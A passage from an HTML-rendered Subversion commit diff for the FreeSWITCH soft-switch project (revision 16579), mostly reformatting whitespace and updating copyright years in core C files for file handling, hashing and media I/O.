</span><span class="cx">         }
</span><span class="cx">
</span><del>-done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         switch_core_db_exec(db, "COMMIT", NULL, NULL, NULL);
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_directoryc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_directory.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_directory.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_directory.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_event_hookc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_event_hook.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_event_hook.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_event_hook.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_filec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_file.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_file.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_file.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -52,7 +52,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Handle already open\n");
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!fh->samplerate) {
</span><span class="cx">                 if (!(fh->samplerate = rate)) {
</span><span class="cx">                         fh->samplerate = 8000;
</span><span class="lines">@@ -93,18 +93,18 @@
</span><span class="cx">
</span><span class="cx">                         if (*p == '[' && *(p + 1) == *SWITCH_PATH_SEPARATOR) {
</span><span class="cx">                                 e = switch_find_end_paren(p, '[', ']');
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (e) {
</span><span class="cx">                                         *e = '\0';
</span><span class="cx">                                         spool_path = p + 1;
</span><span class="cx">                                         fh->file_path = e + 1;
</span><span class="cx">                                 }
</span><del>-                        }
-                        
</del><ins>+                        }
+
</ins><span class="cx">                         if (!spool_path) {
</span><span class="cx">                                 spool_path = switch_core_get_variable(SWITCH_AUDIO_SPOOL_PATH_VARIABLE);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         file_path = fh->file_path;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -116,8 +116,8 @@
</span><span class="cx">                 fh->file_path = switch_core_strdup(fh->memory_pool, file_path);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         if ((fh->file_interface = switch_loadable_module_get_file_interface(ext)) == 0) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid file format [%s] for [%s]!\n", ext, file_path);
</span><span class="cx">                 switch_goto_status(SWITCH_STATUS_GENERR, fail);
</span><span class="lines">@@ -127,13 +127,13 @@
</span><span class="cx">         fh->func = func;
</span><span class="cx">         fh->line = line;
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (spool_path) {
</span><span class="cx">                 char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</span><span class="cx">                 switch_uuid_t uuid;
</span><span class="cx">                 switch_uuid_get(&uuid);
</span><span class="cx">                 switch_uuid_format(uuid_str, &uuid);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 fh->spool_path = switch_core_sprintf(fh->memory_pool, "%s%s%s.%s", spool_path, SWITCH_PATH_SEPARATOR, uuid_str, ext);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -159,8 +159,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">
</span><del>-        if ((flags & SWITCH_FILE_FLAG_WRITE) &&
-                !is_stream && (status = switch_file_exists(file_path, fh->memory_pool)) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        if ((flags & SWITCH_FILE_FLAG_WRITE) && !is_stream && (status = switch_file_exists(file_path, fh->memory_pool)) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "File [%s] not created!\n", file_path);
</span><span class="cx">                 fh->file_interface->file_close(fh);
</span><span class="cx">                 UNPROTECT_INTERFACE(fh->file_interface);
</span><span class="lines">@@ -193,8 +192,8 @@
</span><span class="cx">         switch_set_flag(fh, SWITCH_FILE_OPEN);
</span><span class="cx">         return status;
</span><span class="cx">
</span><del>- fail:
-        
</del><ins>+ fail:
+
</ins><span class="cx">         if (switch_test_flag(fh, SWITCH_FILE_FLAG_FREE_POOL)) {
</span><span class="cx">                 switch_core_destroy_memory_pool(&fh->memory_pool);
</span><span class="cx">         }
</span><span class="lines">@@ -206,7 +205,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         switch_size_t want, got, orig_len = *len;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(fh != NULL);
</span><span class="cx">         switch_assert(fh->file_interface != NULL);
</span><span class="cx">
</span><span class="lines">@@ -214,23 +213,23 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- top:
</del><ins>+ top:
</ins><span class="cx">
</span><span class="cx">         if (fh->buffer && switch_buffer_inuse(fh->buffer) >= *len * 2) {
</span><span class="cx">                 *len = switch_buffer_read(fh->buffer, data, orig_len * 2) / 2;
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag(fh, SWITCH_FILE_DONE)) {
</span><span class="cx">                 switch_clear_flag(fh, SWITCH_FILE_DONE);
</span><span class="cx">                 *len = 0;
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         want = *len;
</span><span class="cx">
</span><del>- more:
-        
</del><ins>+ more:
+
</ins><span class="cx">         if (fh->pre_buffer) {
</span><span class="cx">                 switch_size_t rlen;
</span><span class="cx">                 int asis = switch_test_flag(fh, SWITCH_FILE_NATIVE);
</span><span class="lines">@@ -244,7 +243,7 @@
</span><span class="cx">                                 } else {
</span><span class="cx">                                         fh->samples_in += rlen;
</span><span class="cx">                                         if (fh->channels > 1) {
</span><del>-                                                switch_mux_channels((int16_t *)fh->pre_buffer_data, rlen, fh->channels);
</del><ins>+                                                switch_mux_channels((int16_t *) fh->pre_buffer_data, rlen, fh->channels);
</ins><span class="cx">                                         }
</span><span class="cx">                                         switch_buffer_write(fh->pre_buffer, fh->pre_buffer_data, asis ? rlen : rlen * 2);
</span><span class="cx">                                 }
</span><span class="lines">@@ -253,10 +252,10 @@
</span><span class="cx">
</span><span class="cx">                 rlen = switch_buffer_read(fh->pre_buffer, data, asis ? *len : *len * 2);
</span><span class="cx">                 *len = asis ? rlen : rlen / 2;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (*len == 0) {
</span><span class="cx">                         switch_set_flag(fh, SWITCH_FILE_DONE);
</span><del>- goto top;
</del><ins>+                        goto top;
</ins><span class="cx">                 } else {
</span><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><span class="lines">@@ -271,14 +270,14 @@
</span><span class="cx">                 fh->samples_in += *len;
</span><span class="cx">
</span><span class="cx">                 if (fh->channels > 1) {
</span><del>-                        switch_mux_channels((int16_t *)data, *len, fh->channels);
</del><ins>+                        switch_mux_channels((int16_t *) data, *len, fh->channels);
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">         got = *len;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_test_flag(fh, SWITCH_FILE_NATIVE) && fh->native_rate != fh->samplerate) {
</span><span class="cx">                 if (!fh->resampler) {
</span><span class="cx">                         if (switch_resample_create(&fh->resampler,
</span><span class="lines">@@ -288,8 +287,8 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                switch_resample_process(fh->resampler, data, (uint32_t)*len);
-                
</del><ins>+                switch_resample_process(fh->resampler, data, (uint32_t) * len);
+
</ins><span class="cx">                 if (fh->resampler->to_len < want || fh->resampler->to_len > orig_len) {
</span><span class="cx">                         if (!fh->buffer) {
</span><span class="cx">                                 int factor = fh->resampler->to_len * fh->samplerate / 1000;
</span><span class="lines">@@ -316,10 +315,10 @@
</span><span class="cx">                         memcpy(data, fh->resampler->to, fh->resampler->to_len * 2);
</span><span class="cx">                         *len = fh->resampler->to_len;
</span><span class="cx">                 }
</span><del>-                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -342,17 +341,16 @@
</span><span class="cx">         if (!switch_test_flag(fh, SWITCH_FILE_NATIVE) && fh->native_rate != fh->samplerate) {
</span><span class="cx">                 if (!fh->resampler) {
</span><span class="cx">                         if (switch_resample_create(&fh->resampler,
</span><del>-                                                                         fh->native_rate,
-                                                                         fh->samplerate,
-                                                                         (uint32_t) orig_len * 2 * fh->channels,
-                                                                         SWITCH_RESAMPLE_QUALITY, fh->channels) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                         fh->native_rate,
+                                                                         fh->samplerate,
+                                                                         (uint32_t) orig_len * 2 * fh->channels, SWITCH_RESAMPLE_QUALITY, fh->channels) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Unable to create resampler!\n");
</span><span class="cx">                                 return SWITCH_STATUS_GENERR;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                switch_resample_process(fh->resampler, data, (uint32_t)*len);
-                
</del><ins>+                switch_resample_process(fh->resampler, data, (uint32_t) * len);
+
</ins><span class="cx">                 if (fh->resampler->to_len > orig_len) {
</span><span class="cx">                         if (!fh->dbuf) {
</span><span class="cx">                                 void *mem;
</span><span class="lines">@@ -379,22 +377,24 @@
</span><span class="cx">                 switch_size_t rlen, blen;
</span><span class="cx">                 switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 int asis = switch_test_flag(fh, SWITCH_FILE_NATIVE);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_buffer_write(fh->pre_buffer, data, (asis ? *len : *len * 2) * fh->channels);
</span><span class="cx">
</span><span class="cx">                 rlen = switch_buffer_inuse(fh->pre_buffer);
</span><span class="cx">
</span><span class="cx">                 if (rlen >= fh->pre_buffer_datalen) {
</span><span class="cx">                         if ((blen = switch_buffer_read(fh->pre_buffer, fh->pre_buffer_data, fh->pre_buffer_datalen))) {
</span><del>-                                if (!asis) blen /= 2;
-                                if (fh->channels > 1) blen /= fh->channels;
</del><ins>+                                if (!asis)
+                                        blen /= 2;
+                                if (fh->channels > 1)
+                                        blen /= fh->channels;
</ins><span class="cx">                                 if ((status = fh->file_interface->file_write(fh, fh->pre_buffer_data, &blen)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         *len = 0;
</span><span class="cx">                                 }
</span><span class="cx">                                 fh->samples_out += blen;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 return status;
</span><span class="cx">         } else {
</span><span class="cx">                 switch_status_t status;
</span><span class="lines">@@ -478,7 +478,7 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_core_file_truncate(switch_file_handle_t *fh, int64_t offset)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(fh != NULL);
</span><span class="cx">         switch_assert(fh->file_interface != NULL);
</span><span class="cx">
</span><span class="lines">@@ -490,7 +490,7 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if ((status=fh->file_interface->file_truncate(fh, offset)) == SWITCH_STATUS_SUCCESS) {
</del><ins>+        if ((status = fh->file_interface->file_truncate(fh, offset)) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 if (fh->buffer) {
</span><span class="cx">                         switch_buffer_zero(fh->buffer);
</span><span class="cx">                 }
</span><span class="lines">@@ -525,11 +525,13 @@
</span><span class="cx">                         switch_size_t rlen, blen;
</span><span class="cx">                         int asis = switch_test_flag(fh, SWITCH_FILE_NATIVE);
</span><span class="cx">
</span><del>-                        while((rlen = switch_buffer_inuse(fh->pre_buffer))) {
</del><ins>+                        while ((rlen = switch_buffer_inuse(fh->pre_buffer))) {
</ins><span class="cx">                                 if ((blen = switch_buffer_read(fh->pre_buffer, fh->pre_buffer_data, fh->pre_buffer_datalen))) {
</span><del>-                                        if (!asis) blen /= 2;
-                                        if (fh->channels > 1) blen /= fh->channels;
-                                        
</del><ins>+                                        if (!asis)
+                                                blen /= 2;
+                                        if (fh->channels > 1)
+                                                blen /= fh->channels;
+
</ins><span class="cx">                                         if (fh->file_interface->file_write(fh, fh->pre_buffer_data, &blen) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 break;
</span><span class="cx">                                         }
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_hashc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_hash.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_hash.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_hash.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -57,7 +57,7 @@
</span><span class="cx">
</span><span class="cx">         sqlite3HashInit(&newhash->table, case_sensitive ? SQLITE_HASH_BINARY : SQLITE_HASH_STRING, 1);
</span><span class="cx">         *hash = newhash;
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_ioc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_io.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_io.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_io.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -112,7 +112,8 @@
</span><span class="cx">
</span><span class="cx">         if (!(session->read_codec && session->read_codec->implementation && switch_core_codec_ready(session->read_codec))) {
</span><span class="cx">                 if (switch_channel_test_flag(session->channel, CF_PROXY_MODE) || switch_channel_get_state(session->channel) == CS_HIBERNATE) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "%s reading on a session with no media!\n", switch_channel_get_name(session->channel));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "%s reading on a session with no media!\n",
+                                                         switch_channel_get_name(session->channel));
</ins><span class="cx">                         switch_cond_next();
</span><span class="cx">                         *frame = &runtime.dummy_cng_frame;
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -128,7 +129,8 @@
</span><span class="cx">
</span><span class="cx">         if (switch_channel_down(session->channel)) {
</span><span class="cx">                 *frame = NULL;
</span><del>-                status = SWITCH_STATUS_FALSE; goto even_more_done;
</del><ins>+                status = SWITCH_STATUS_FALSE;
+                goto even_more_done;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -140,8 +142,7 @@
</span><span class="cx">         if (session->read_codec && !session->track_id && session->track_duration) {
</span><span class="cx">                 if (session->read_frame_count == 0) {
</span><span class="cx">                         switch_event_t *event;
</span><del>-                        session->read_frame_count = (session->read_impl.actual_samples_per_second /
-                                                                                 session->read_impl.samples_per_packet) * session->track_duration;
</del><ins>+                        session->read_frame_count = (session->read_impl.actual_samples_per_second / session->read_impl.samples_per_packet) * session->track_duration;
</ins><span class="cx">
</span><span class="cx">                         switch_event_create(&event, SWITCH_EVENT_SESSION_HEARTBEAT);
</span><span class="cx">                         switch_channel_event_set_data(session->channel, event);
</span><span class="lines">@@ -168,12 +169,12 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!SWITCH_READ_ACCEPTABLE(status) || !session->read_codec || !session->read_codec->mutex) {
</span><span class="cx">                         *frame = NULL;
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_mutex_lock(session->codec_read_mutex);
</span><span class="cx">                 switch_mutex_lock(session->read_codec->mutex);
</span><span class="cx">         }
</span><span class="lines">@@ -271,10 +272,9 @@
</span><span class="cx">                                         switch_mutex_lock(session->resample_mutex);
</span><span class="cx">                                         status = switch_resample_create(&session->read_resampler,
</span><span class="cx">                                                                                                         read_frame->codec->implementation->actual_samples_per_second,
</span><del>-                                                                                                        session->read_impl.actual_samples_per_second,
-                                                                                                        session->read_impl.decoded_bytes_per_packet,
-                                                                                                        SWITCH_RESAMPLE_QUALITY, 1);
-                                        
</del><ins>+                                                                                                        session->read_impl.actual_samples_per_second,
+                                                                                                        session->read_impl.decoded_bytes_per_packet, SWITCH_RESAMPLE_QUALITY, 1);
+
</ins><span class="cx">                                         switch_mutex_unlock(session->resample_mutex);
</span><span class="cx">
</span><span class="cx">                                         if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -324,7 +324,8 @@
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec init error!\n");
</span><span class="cx">                                 goto done;
</span><span class="cx">                         default:
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec %s decoder error!\n", session->read_codec->codec_interface->interface_name);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec %s decoder error!\n",
+                                                                 session->read_codec->codec_interface->interface_name);
</ins><span class="cx">                                 goto done;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -334,7 +335,7 @@
</span><span class="cx">                         switch_bool_t ok = SWITCH_TRUE;
</span><span class="cx">                         int prune = 0;
</span><span class="cx">                         switch_thread_rwlock_rdlock(session->bug_rwlock);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (bp = session->bugs; bp; bp = bp->next) {
</span><span class="cx">                                 if (!switch_channel_test_flag(session->channel, CF_ANSWERED) && switch_core_media_bug_test_flag(bp, SMBF_ANSWER_REQ)) {
</span><span class="cx">                                         continue;
</span><span class="lines">@@ -352,7 +353,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                         switch_mutex_unlock(bp->read_mutex);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (ok && switch_test_flag(bp, SMBF_READ_REPLACE)) {
</span><span class="cx">                                         do_bugs = 0;
</span><span class="cx">                                         if (bp->callback) {
</span><span class="lines">@@ -363,13 +364,13 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((bp->stop_time && bp->stop_time <= switch_epoch_time_now(NULL)) || ok == SWITCH_FALSE) {
</span><span class="cx">                                         switch_set_flag(bp, SMBF_PRUNE);
</span><span class="cx">                                         prune++;
</span><span class="cx">                                 }
</span><del>-                                
-                                
</del><ins>+
+
</ins><span class="cx">                         }
</span><span class="cx">                         switch_thread_rwlock_unlock(session->bug_rwlock);
</span><span class="cx">                         if (prune) {
</span><span class="lines">@@ -385,11 +386,11 @@
</span><span class="cx">                         if (session->read_resampler) {
</span><span class="cx">                                 short *data = read_frame->data;
</span><span class="cx">                                 switch_mutex_lock(session->resample_mutex);
</span><del>-                                switch_resample_process(session->read_resampler, data, (int)read_frame->datalen / 2);
</del><ins>+                                switch_resample_process(session->read_resampler, data, (int) read_frame->datalen / 2);
</ins><span class="cx">                                 memcpy(data, session->read_resampler->to, session->read_resampler->to_len * 2);
</span><span class="cx">                                 read_frame->samples = session->read_resampler->to_len;
</span><del>- read_frame->datalen = session->read_resampler->to_len * 2;
- read_frame->rate = session->read_resampler->to_rate;
</del><ins>+                                read_frame->datalen = session->read_resampler->to_len * 2;
+                                read_frame->rate = session->read_resampler->to_rate;
</ins><span class="cx">                                 switch_mutex_unlock(session->resample_mutex);
</span><span class="cx">
</span><span class="cx">                         }
</span><span class="lines">@@ -399,7 +400,7 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 if (!session->raw_read_buffer) {
</span><span class="cx">                                         switch_size_t bytes = session->read_impl.decoded_bytes_per_packet;
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Engaging Read Buffer at %u bytes vs %u\n",
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Engaging Read Buffer at %u bytes vs %u\n",
</ins><span class="cx">                                                                          (uint32_t) bytes, (uint32_t) (*frame)->datalen);
</span><span class="cx">                                         switch_buffer_create_dynamic(&session->raw_read_buffer, bytes * SWITCH_BUFFER_BLOCK_FRAMES, bytes * SWITCH_BUFFER_START_FRAMES, 0);
</span><span class="cx">                                 }
</span><span class="lines">@@ -468,8 +469,8 @@
</span><span class="cx">                                 case SWITCH_STATUS_NOT_INITALIZED:
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec init error!\n");
</span><span class="cx">                                         *frame = NULL;
</span><del>- status = SWITCH_STATUS_GENERR;
- break;
</del><ins>+                                        status = SWITCH_STATUS_GENERR;
+                                        break;
</ins><span class="cx">                                 default:
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec %s encoder error!\n",
</span><span class="cx">                                                                          session->read_codec->codec_interface->interface_name);
</span><span class="lines">@@ -518,7 +519,7 @@
</span><span class="cx">
</span><span class="cx">                                 if (ok == SWITCH_FALSE) {
</span><span class="cx">                                         switch_set_flag(bp, SMBF_PRUNE);
</span><del>- prune++;
</del><ins>+                                        prune++;
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                         switch_thread_rwlock_unlock(session->bug_rwlock);
</span><span class="lines">@@ -581,7 +582,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(session->write_codec && switch_core_codec_ready(session->write_codec)) && !pass_cng) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "%s has no write codec.\n", switch_channel_get_name(session->channel));
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -602,19 +603,19 @@
</span><span class="cx">         switch_assert(frame->codec != NULL);
</span><span class="cx">         switch_assert(frame->codec->implementation != NULL);
</span><span class="cx">
</span><del>-        switch_mutex_lock(session->codec_write_mutex);        
</del><ins>+        switch_mutex_lock(session->codec_write_mutex);
</ins><span class="cx">
</span><del>-        if (!(session->write_codec && session->write_codec->mutex && frame->codec) ||
</del><ins>+        if (!(session->write_codec && session->write_codec->mutex && frame->codec) ||
</ins><span class="cx">                 !switch_channel_ready(session->channel) || !switch_channel_media_ready(session->channel)) {
</span><del>-                switch_mutex_unlock(session->codec_write_mutex);        
</del><ins>+                switch_mutex_unlock(session->codec_write_mutex);
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(session->write_codec->mutex);
</span><span class="cx">         switch_mutex_lock(frame->codec->mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((session->write_codec && frame->codec && session->write_codec->implementation != frame->codec->implementation)) {
</span><del>-                if (session->write_impl.codec_id == frame->codec->implementation->codec_id ||
</del><ins>+                if (session->write_impl.codec_id == frame->codec->implementation->codec_id ||
</ins><span class="cx">                         session->write_impl.microseconds_per_packet != frame->codec->implementation->microseconds_per_packet) {
</span><span class="cx">                         ptime_mismatch = TRUE;
</span><span class="cx">                         if (switch_test_flag(frame->codec, SWITCH_CODEC_FLAG_PASSTHROUGH) || switch_test_flag(session->read_codec, SWITCH_CODEC_FLAG_PASSTHROUGH)) {
</span><span class="lines">@@ -646,11 +647,11 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (!switch_test_flag(session, SSF_WARN_TRANSCODE)) {
</span><del>-                        switch_core_session_message_t msg = { 0 };
</del><ins>+                switch_core_session_message_t msg = { 0 };
</ins><span class="cx">
</span><del>-                        msg.message_id = SWITCH_MESSAGE_INDICATE_TRANSCODING_NECESSARY;
-                        switch_core_session_receive_message(session, &msg);
-                        switch_set_flag(session, SSF_WARN_TRANSCODE);
</del><ins>+                msg.message_id = SWITCH_MESSAGE_INDICATE_TRANSCODING_NECESSARY;
+                switch_core_session_receive_message(session, &msg);
+                switch_set_flag(session, SSF_WARN_TRANSCODE);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (frame->codec) {
</span><span class="lines">@@ -661,10 +662,10 @@
</span><span class="cx">                                                                                  frame->datalen,
</span><span class="cx">                                                                                  session->write_impl.actual_samples_per_second,
</span><span class="cx">                                                                                  session->raw_write_frame.data, &session->raw_write_frame.datalen, &session->raw_write_frame.rate, &flag);
</span><del>-                
-                
-                
</del><span class="cx">
</span><ins>+
+
+
</ins><span class="cx">                 if (do_resample && status == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         status = SWITCH_STATUS_RESAMPLE;
</span><span class="cx">                 }
</span><span class="lines">@@ -678,11 +679,10 @@
</span><span class="cx">                                 switch_mutex_lock(session->resample_mutex);
</span><span class="cx">                                 status = switch_resample_create(&session->write_resampler,
</span><span class="cx">                                                                                                 frame->codec->implementation->actual_samples_per_second,
</span><del>-                                                                                                session->write_impl.actual_samples_per_second,
-                                                                                                session->write_impl.decoded_bytes_per_packet,
-                                                                                                SWITCH_RESAMPLE_QUALITY, 1);
-                                                                                                
-                                
</del><ins>+                                                                                                session->write_impl.actual_samples_per_second,
+                                                                                                session->write_impl.decoded_bytes_per_packet, SWITCH_RESAMPLE_QUALITY, 1);
+
+
</ins><span class="cx">                                 switch_mutex_unlock(session->resample_mutex);
</span><span class="cx">                                 if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         goto done;
</span><span class="lines">@@ -700,7 +700,8 @@
</span><span class="cx">                         write_frame = &session->raw_write_frame;
</span><span class="cx">                         break;
</span><span class="cx">                 case SWITCH_STATUS_BREAK:
</span><del>-                        status = SWITCH_STATUS_SUCCESS; goto error;
</del><ins>+                        status = SWITCH_STATUS_SUCCESS;
+                        goto error;
